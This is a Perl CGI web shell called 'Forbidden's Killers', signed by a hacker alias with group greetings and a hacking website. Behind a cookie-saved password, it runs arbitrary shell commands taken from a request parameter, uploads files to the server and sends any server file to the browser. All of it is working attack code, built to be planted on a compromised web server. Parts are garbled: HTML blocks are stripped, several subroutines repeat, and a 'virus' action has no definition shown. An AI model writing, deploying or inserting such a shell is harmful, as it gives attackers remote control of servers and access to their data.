[~] Forbidden Killes

END } sub PrintLoginScreen { $Message = q$

#-------------------------------------------------------------------------------------------#
|                                  Forbidden's Killers                                      |
|                                                                                           |
|                                          403                                              |
|                                                                                           |
|                                     ViRuS_BaGhDaD                                         |
|                                                                                           |
#-------------------------------------------------------------------------------------------#
|                              WebSite : WwW.Hack-R1z.CoM                                   |
#-------------------------------------------------------------------------------------------#
|             Greetz To : H311 C0D3 - HackEr MaN - HcJ - RiskY                              |
#-------------------------------------------------------------------------------------------#

$; #' print <$Message END } sub PrintLoginFailedMessage { print <

#--------------------------------------------------------------------------------------------------#

[~]Wrong Password

Try Again

#--------------------------------------------------------------------------------------------------#

END } sub PrintLoginForm { print < END } sub PrintPageFooter { print <

--[ 403 ] http://www.hack-r1z.com [ 403 ]--

END } sub GetCookies { @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'}); foreach $cookie(@httpcookies) { ($id, $val) = split(/=/, $cookie); $Cookies{$id} = $val; } } sub home { &PrintPageHeader("p"); &PrintCommandLineInputForm; &PrintPageFooter; END } sub zone { print <

END } sub kasber { print <

Ed!T c0d3 By ViRuS_BaGhDaD

My Email : x-93@att.net

Gr33tZ To : H311 C0D3 + HaCkEr MaN + RiskY

END } sub PrintLogoutScreen { print "Connection are closed by The Perl"; } sub kasber { &PrintPageHeader("p"); print <

Ed!T c0d3 By ViRuS_BaGhDaD

My Email : x-93@att.net

Gr33tZ To : H311 C0D3 + HaCkEr MaN + RiskY

END } sub zone { &PrintPageHeader("p"); print <

END } sub PerformLogout { print "Set-Cookie: SAVEDPWD=;\n"; &PrintPageHeader("p"); &PrintLogoutScreen; &PrintLoginScreen; &PrintLoginForm; &PrintPageFooter; } sub PerformLogin { if($LoginPassword eq $Password) { print "Set-Cookie: SAVEDPWD=$LoginPassword;\n"; &PrintPageHeader("c"); &PrintCommandLineInputForm; &PrintPageFooter; } else # password didn't match { &PrintPageHeader("p"); &PrintLoginScreen; if($LoginPassword ne "") { &PrintLoginFailedMessage; } &PrintLoginForm; &PrintPageFooter; } } sub PrintCommandLineInputForm { $Prompt = $WinNT ? "$CurrentDir> " : "[403\@$ServerName $CurrentDir]\$ "; print <

$Prompt upload

Filename:

Options: Overwrite if it Exists

Upload:

END } sub CommandTimeout { if(!$WinNT) { alarm(0); print <


Command exceeded maximum time of $CommandTimeoutDuration second(s).

Killed it!

END
		&PrintCommandLineInputForm;
		&PrintPageFooter;
		exit;
	}
}


sub ExecuteCommand
{
	if($RunCommand =~ m/^\s*cd\s+(.+)/) 
	{
		# we change the directory internally. The output of the
		# command is not displayed.
		
		$OldDir = $CurrentDir;
		$Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
		chop($CurrentDir = `$Command`);
		&PrintPageHeader("c");
		$Prompt = $WinNT ? "$OldDir> " : "[403\@$ServerName $OldDir]\$ ";
		print "$Prompt $RunCommand";
	}
	else # some other command, display the output
	{
		&PrintPageHeader("c");
		$Prompt = $WinNT ? "$CurrentDir> " : "[403\@$ServerName $CurrentDir]\$ ";
		print "$Prompt $RunCommand";
		$Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
		if(!$WinNT)
		{
			$SIG{'ALRM'} = \&CommandTimeout;
			alarm($CommandTimeoutDuration);
		}
		if($ShowDynamicOutput) 
		{
			$|=1;
			$Command .= " |";
			open(CommandOutput, $Command);
			while(<CommandOutput>)
			{
				$_ =~ s/(\n|\r\n)$//;
				print "$_\n";
			}
			$|=0;
		}
		else 
		{
			print `$Command`;
		}
		if(!$WinNT)
		{
			alarm(0);
		}
		print "";
	}
	&PrintCommandLineInputForm;
	&PrintPageFooter;
}



sub PrintDownloadLinkPage
{
	local($FileUrl) = @_;
	if(-e $FileUrl) 
	{

		$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
		$DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
		$HtmlMetaHeader = "";
		&PrintPageHeader("c");
		print <
Sending File $TransferFile...

If the download does not start automatically,
Click Here.

END
		&PrintCommandLineInputForm;
		&PrintPageFooter;
	}
	else # file doesn't exist
	{
		&PrintPageHeader("f");
		print "Failed to download $FileUrl: $!";
		&PrintFileDownloadForm;
		&PrintPageFooter;
	}
}

sub SendFileToBrowser
{
	local($SendFile) = @_;
	if(open(SENDFILE, $SendFile)) 
	{
		if($WinNT)
		{
			binmode(SENDFILE);
			binmode(STDOUT);
		}
		$FileSize = (stat($SendFile))[7];
		($Filename = $SendFile) =~  m!([^/^\\]*)$!;
		print "Content-Type: application/x-unknown\n";
		print "Content-Length: $FileSize\n";
		print "Content-Disposition: attachment; filename=$1\n\n";
		print while();
		close(SENDFILE);
	}
	else 
	{
		&PrintPageHeader("f");
		print "Failed to download $SendFile: $!";
		&PrintFileDownloadForm;
		&PrintPageFooter;
	}
}



sub BeginDownload
{

	if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
		(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
	{
		$TargetFile = $TransferFile;
	}
	else 
	{
		chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
		$TargetFile .= $PathSep.$TransferFile;
	}

	if($Options eq "go") 
	{
		&SendFileToBrowser($TargetFile);
	}
	else 
	{
		&PrintDownloadLinkPage($TargetFile);
	}
}

sub UploadFile
{
	
	if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileUploadForm;
		&PrintPageFooter;
		return;
	}
	&PrintPageHeader("c");

	
	print "Uploading $TransferFile to $CurrentDir...
";


	chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
	$TransferFile =~ m!([^/^\\]*)$!;
	$TargetName .= $PathSep.$1;

	$TargetFileSize = length($in{'filedata'});

	if(-e $TargetName && $Options ne "overwrite")
	{
		print "Failed: Destination file already exists.
";
	}
	else # file is not present
	{
		if(open(UPLOADFILE, ">$TargetName"))
		{
			binmode(UPLOADFILE) if $WinNT;
			print UPLOADFILE $in{'filedata'};
			close(UPLOADFILE);
			print "Transfered $TargetFileSize Bytes.
";
			print "File Path: $TargetName
";
		}
		else
		{
			print "Failed: $!
";
		}
	}
	print "";
	&PrintCommandLineInputForm;
	&PrintPageFooter;
}

sub UploadFile
{
	
	if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileUploadForm;
		&PrintPageFooter;
		return;
	}
	&PrintPageHeader("c");

	
	print "Uploading $TransferFile to $CurrentDir...
";


	chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
	$TransferFile =~ m!([^/^\\]*)$!;
	$TargetName .= $PathSep.$1;

	$TargetFileSize = length($in{'filedata'});

	if(-e $TargetName && $Options ne "overwrite")
	{
		print "Failed: Destination file already exists.
";
	}
	else # file is not present
	{
		if(open(UPLOADFILE, ">$TargetName"))
		{
			binmode(UPLOADFILE) if $WinNT;
			print UPLOADFILE $in{'filedata'};
			close(UPLOADFILE);
			print "Transfered $TargetFileSize Bytes.
";
			print "File Path: $TargetName
";
		}
		else
		{
			print "Failed: $!
";
		}
	}
	print "";
	&PrintCommandLineInputForm;
	&PrintPageFooter;
}


sub DownloadFile
{

	if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileDownloadForm;
		&PrintPageFooter;
		return;
	}
	

	if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
		(!$WinNT & ($TransferFile =~ m/^\//))) 
	{
		$TargetFile = $TransferFile;
	}
	else 
	{
		chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
		$TargetFile .= $PathSep.$TransferFile;
	}

	if($Options eq "go") 
	{
		&SendFileToBrowser($TargetFile);
	}
	else 
	{
		&PrintDownloadLinkPage($TargetFile);
	}
}


&ReadParse;
&GetCookies;

$ScriptLocation = $ENV{'SCRIPT_NAME'};
$ServerName = $ENV{'SERVER_NAME'};
$LoginPassword = $in{'p'};
$RunCommand = $in{'c'};
$TransferFile = $in{'f'};
$Options = $in{'o'};

$Action = $in{'a'};
$Action = "login" if($Action eq ""); 


$CurrentDir = $in{'d'};
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");

$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;

if($Action eq "login" || !$LoggedIn) 
{
	&PerformLogin;
}
elsif($Action eq "command") 
{
	&ExecuteCommand;
}
elsif($Action eq "upload") 
{
	&UploadFile;
}
elsif($Action eq "download") 
{
	&DownloadFile;
} 
elsif($Action eq "virus") 
{
	&virus;
}
elsif($Action eq "zone") 
{
	&zone;
}
elsif($Action eq "home") 
{
	&home;
}
elsif($Action eq "logout") 
{
	&PerformLogout;
}